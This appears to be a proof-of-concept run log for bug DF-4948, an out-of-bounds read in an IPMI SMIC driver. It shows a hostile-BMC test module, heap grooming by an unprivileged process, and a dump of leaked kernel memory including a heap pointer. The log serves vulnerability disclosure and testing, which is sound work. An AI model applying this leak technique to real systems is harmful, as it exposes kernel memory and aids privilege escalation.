=== DF-4948 baseline, decisive run (guest: clean-source snapshot "with-src", stock kernel) ===

--- phase 1: PRODUCER (verbatim smic_polled_request vs scripted hostile SMIC BMC) ---
[root@dfbsd ~]# kldload /root/smicshock/smicshock.ko ; kldunload smicshock
smicshock: SMIC: Read short: 1024 buffer, 16000 actual     <- driver itself detects the short buffer (ipmi_smic.c:346-350)
smicshock: smic_polled_request() = 1                       <- ...and returns SUCCESS anyway
smicshock: BMC streamed 16000 reply data bytes
smicshock: req->ir_replylen   = 16000                      <- UNCLAMPED BMC-controlled count (ipmi_smic.c:341)
smicshock: req->ir_replybuflen = 1024
smicshock: BUG DF-4948 REPRODUCED: unclamped ir_replylen=16000 stored for a 1024-byte buffer (ipmi_smic.c:341); the ipmi.c RECEIVE sink (len=ir_replylen+1, copyout of ir_reply, ipmi.c:448-468) then reads 14976 bytes past the 1024-byte IPMI_MAX_RX chunk

--- phase 2: SINK, end-to-end (QEMU ipmi-bmc-sim + isa-ipmi-kcs for a real /dev/ipmi0;
    bumpko(4) arms ir_replylen=16000 on a completed request = exactly the end state
    the hostile SMIC transport produced above; everything from the RECEIVE ioctl
    onward is the stock kernel; readout process is unprivileged uid=1001 group operator) ---
[root@dfbsd ~]# kldload ipmi ; kldload /root/bumpko/bumpko.ko
ipmi0: <IPMI System Interface> port 0xca2-0xca3 irq 5 on acpi0
ipmi0: KCS mode found at io 0xca2 on acpi
maxx$ /tmp/leak   (background) ; root: sysctl hw.bumpreplylen=16000
fds: victim=3 markers=4 pid=897 uid=1001
groom: 30 patterned chunks allocated, 20 freed (rest held live)
marker+victim sends done; waiting for hw.bumpreplylen=16000 ...
armed: 16000
RECEIVE ok: msg.data_len = 16001 (compcode + 16000 reply bytes)
nonzero in [0,1024):     1
nonzero in [1024,16000):  6624  (first at 0x042e)
block census (offset:nonzero/1024):
      0:    1
   1024:  941   <-- beyond ir_reply[1024]
   2048:    0
   3072:  940   <-- beyond ir_reply[1024]
   4096:    0
   5120:  940   <-- beyond ir_reply[1024]
   6144:    0
   7168:  940   <-- beyond ir_reply[1024]
   8192:    0
   9216:  939   <-- beyond ir_reply[1024]
  10240:    0
  11264:  940   <-- beyond ir_reply[1024]
  12288:    0
  13312:  940   <-- beyond ir_reply[1024]
  14336:    0
  15360:   44   <-- beyond ir_reply[1024]
marker fragments beyond the victim BMC data: 392
reply head (BMC data) [0x0000]:
  0000: c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
first nonzero beyond 1024 [0x0420]:
  0420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 cf
  0430: 8d 00 f8 ff ff b8 43 16 4f 00 f8 ff ff a8 43 16   <- 0xfffff8008dcfd0cf: kernel heap pointer
  0440: 4f 00 f8 ff ff 50 c8 cf 8d 00 f8 ff ff 84 03 00
  0450: 00 00 00 00 00 d4 cb cf 8d 00 f8 ff ff 00 04 00
  0460: 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 03 00
  0470: 00 00 00 00 00 18 01 c6 00 00 00 00 00 44 46 34